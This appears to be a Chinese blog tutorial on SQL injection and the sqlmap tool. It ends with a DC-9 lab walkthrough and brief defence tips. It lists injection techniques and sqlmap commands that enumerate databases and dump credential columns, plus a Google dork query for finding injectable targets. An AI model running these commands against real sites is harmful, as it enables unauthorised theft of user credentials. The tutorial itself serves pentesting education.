sqlmap基本使用详解与sql注入防御之网络安全

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: 作者主页:https://www.couragesteak.com/

1 sql注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2 sqlmap介绍

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

官方网站:https://sqlmap.org/
下载地址:https://github.com/sqlmapproject/sqlmap
演示视频:https://asciinema.org/a/46601

3 支持检测类型

sqlmap 支持5种漏洞检测类型:

  • 基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
  • 基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
  • 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
  • 基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
  • 基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)

4 参数

4.1 直接连接到数据库

(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等)

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(SQLite,Microsoft Access,Firebird 等)

DBMS://DATABASE_FILEPATH

eg

python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann
er --dbs --users

4.2 -D 指定数据库

4.3 --tables 枚举指定数据库下的表名

4.4 -T 指定表名

4.5 --columns 指定列

枚举指定表下的列名

4.6 -C

后面跟列名,含义是枚举这些列的值

4.7 --dump 显示的列值

最后枚举列值时,加上此参数可以看得到显示的列值

4.8 -m 批量文件(多目标)

提供给定批量文件中列出的目标 URL 的列表,sqlmap 将逐个扫描每个 URL。
eg

www.x.com/vuln1.php?q=foobar
www.x.com/vuln2.asp?id=1
www.x.com/vuln3/id/1*

4.9 -r 从文件加载 HTTP 请求

sqlmap 的可能性之一是从文本文件加载原始 HTTP 请求。这样,您可以跳过许多其他选项的使用(例如,设置 Cookie,发布数据等)。

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求是通过 HTTPS 进行的,则可以将其与 switch 结合使用,--force-ssl 以强制 SSL 连接到 443 /tcp。或者,您可以将其附加:443 到 Host 标题值的末尾。

4.10 -g

将 Google dork 结果作为目标地址处理
也可以根据您的 Google 问题的结果测试并注入 GET 参数。

此选项使 sqlmap 与搜索引擎协商其会话 cookie 以便能够执行搜索,然后 sqlmap 将使用 GET 参数检索 Google dork 表达式的 Google 前 100 个结果,询问您是否要测试和注入每个可能的受影响 URL 。
eg

python sqlmap.py -g "inurl:\".php?id=1\""

参考文章:
网安:https://www.wangan.com/docs/1065

5 DC-9 靶机测试

sql.txt 为注入点信息 不做解释

在这里插入图片描述

5.1 扫描数据库信息

sqlmap -r sql.txt

在这里插入图片描述

5.2 扫描数据库

sqlmap -r sql.txt --dbs

在这里插入图片描述

5.3 直接扫描数据库

sqlmap -r sql.txt -D users --dump

5.4 扫描user数据库有哪些表

sqlmap -r sql.txt -p search -D users --tables
[1 table]
+-------------+
| UserDetails |
+-------------+

5.5 扫描 UserDetails表的列

sqlmap -r sql.txt -p search -D users -T UserDetails --columns
[6 columns]
+-----------+-----------------+
| Column    | Type            |
+-----------+-----------------+
| firstname | varchar(30)     |
| id        | int(6) unsigned |
| lastname  | varchar(30)     |
| password  | varchar(20)     |
| reg_date  | timestamp       |
| username  | varchar(30)     |
+-----------+-----------------+

5.6 扫描 UserDetails表的列值

sqlmap -r sql.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump

6 防御sql注入

造成sql注入的主要是由于没有对特殊字符进行过滤,导致sql拼接,达到执行数据库语句的目的。危害不是一般的大,防御困难

6.1 正则化过滤特殊字符

对传入的参数严格审查,不符合要求统一系统记录,并提示管理,及时防护。

6.2 设置账号陷阱

设置类似超管账号,密码超级长,迫使分析账号密码hack心累,机器瘫痪。

6.3 严格区分超级管理与普通管理权限

  1. 严格区分系统管理员与普通管理的权限。

参考文章:
DC-9 系列
https://blog.csdn.net/crisprx/article/details/103985898
https://blog.csdn.net/weixin_44426869/article/details/104918662

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
11天前
|
监控 安全 Devops
DevOps 流水线的网络安全盲区与防御策略
在软件研发中,DevOps流水线加速了开发与交付,但也带来严重安全风险。自动化节点和第三方集成成为攻击入口,凭证泄露、供应链渗透、配置错误和依赖混乱等问题频发。企业需构建全流程安全体系,嵌入自动化安全策略,强化访问控制与监控,提升全员安全意识,实现效率与安全的协同发展。
297 0
|
10月前
|
安全 算法 网络安全
揭秘网络安全的护城河:漏洞防御与加密技术的前沿探索
【10月更文挑战第42天】在数字时代的浪潮中,网络安全成为保护个人隐私和企业资产的关键防线。本文将深入探讨网络安全的两个核心要素:安全漏洞及其防御策略、先进的加密技术。通过分析近期的安全漏洞案例,揭示网络攻击的常见模式和防御手段。同时,文章将介绍当前加密技术的应用和挑战,强调安全意识的重要性,并提出提升网络安全的有效途径。
104 1
|
6月前
|
SQL 安全 网络安全
网络安全防御矩阵:从云防火墙流量清洗到WAF语义分析的立体化防护
在数字化浪潮中,网络安全日益重要。云防火墙依托云计算技术,提供灵活高效的网络防护,适用于公有云和私有云环境;Web应用防火墙专注于HTTP/HTTPS流量,防范SQL注入、XSS等攻击,保护Web应用安全。两者结合使用可实现优势互补,构建更强大的网络安全防线,满足不同场景下的安全需求。
264 1
|
9月前
|
SQL 安全 算法
网络安全之盾:漏洞防御与加密技术解析
在数字时代的浪潮中,网络安全和信息安全成为维护个人隐私和企业资产的重要防线。本文将深入探讨网络安全的薄弱环节—漏洞,并分析如何通过加密技术来加固这道防线。文章还将分享提升安全意识的重要性,以预防潜在的网络威胁,确保数据的安全与隐私。
186 2
|
10月前
|
安全 算法 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术深度解析
在数字信息的海洋中,网络安全是航行者不可或缺的指南针。本文将深入探讨网络安全的两大支柱——漏洞防御和加密技术,揭示它们如何共同构筑起信息时代的安全屏障。从最新的网络攻击手段到防御策略,再到加密技术的奥秘,我们将一起揭开网络安全的神秘面纱,理解其背后的科学原理,并掌握保护个人和企业数据的关键技能。
292 3
|
10月前
|
SQL 监控 安全
网络安全的盾牌与利剑:漏洞防御与加密技术解析
在数字时代的洪流中,网络安全如同一场没有硝烟的战争。本文将深入探讨网络安全的核心议题,从网络漏洞的发现到防御策略的实施,以及加密技术的运用,揭示保护信息安全的关键所在。通过实际案例分析,我们将一窥网络攻击的手段和防御的艺术,同时提升个人与企业的安全意识,共同构筑一道坚固的数字防线。
|
10月前
|
SQL 安全 算法
网络安全漏洞与防御策略:深入加密技术和安全意识的培养
在数字化时代,网络安全的重要性日益凸显。本文将深入探讨网络安全的多个维度,包括常见的网络漏洞类型、加密技术的应用以及如何培养强大的网络安全意识。通过分析这些关键要素,读者将获得保护个人和组织数据免受威胁所需的知识。
|
10月前
|
SQL 安全 算法
网络安全的隐形盾牌:漏洞防御与加密技术
在数字化时代,网络安全成为保护个人隐私和公司资产不可或缺的一部分。本文将探讨网络安全中的常见漏洞、加密技术的重要性以及提升安全意识的必要性。通过分析不同类型的网络攻击案例,我们将了解如何识别和应对这些威胁。同时,文章还将介绍基础的加密技术概念,并通过代码示例展示如何在实际中应用这些技术来保护数据。最后,讨论为何提高个人和组织的安全意识是防范网络威胁的关键。
|
10月前
|
SQL 安全 网络安全
网络安全的盾牌与利剑:漏洞防御与加密技术的深度剖析
在数字化时代的浪潮中,网络信息安全成为维护个人隐私和组织资产的关键防线。本文将深入探讨网络安全的核心议题,包括常见的安全漏洞、先进的加密技术以及提升整体网络安全意识的重要性。通过分析最新的攻击手段和防御策略,旨在为读者提供一个关于如何构建更安全网络环境的实战指南。
|
10月前
|
SQL 安全 网络安全
网络安全的盾牌:从漏洞到防御
在数字世界的海洋中,网络安全是守护我们数据宝藏的坚固盾牌。本文将带领读者穿梭在网络的波涛之中,揭示隐藏在深处的安全漏洞,探索加密技术的奥秘,并提升个人的安全意识。我们将一同见证,如何通过技术和智慧的结合,构建起一道道坚不可摧的防线。
114 3

热门文章

最新文章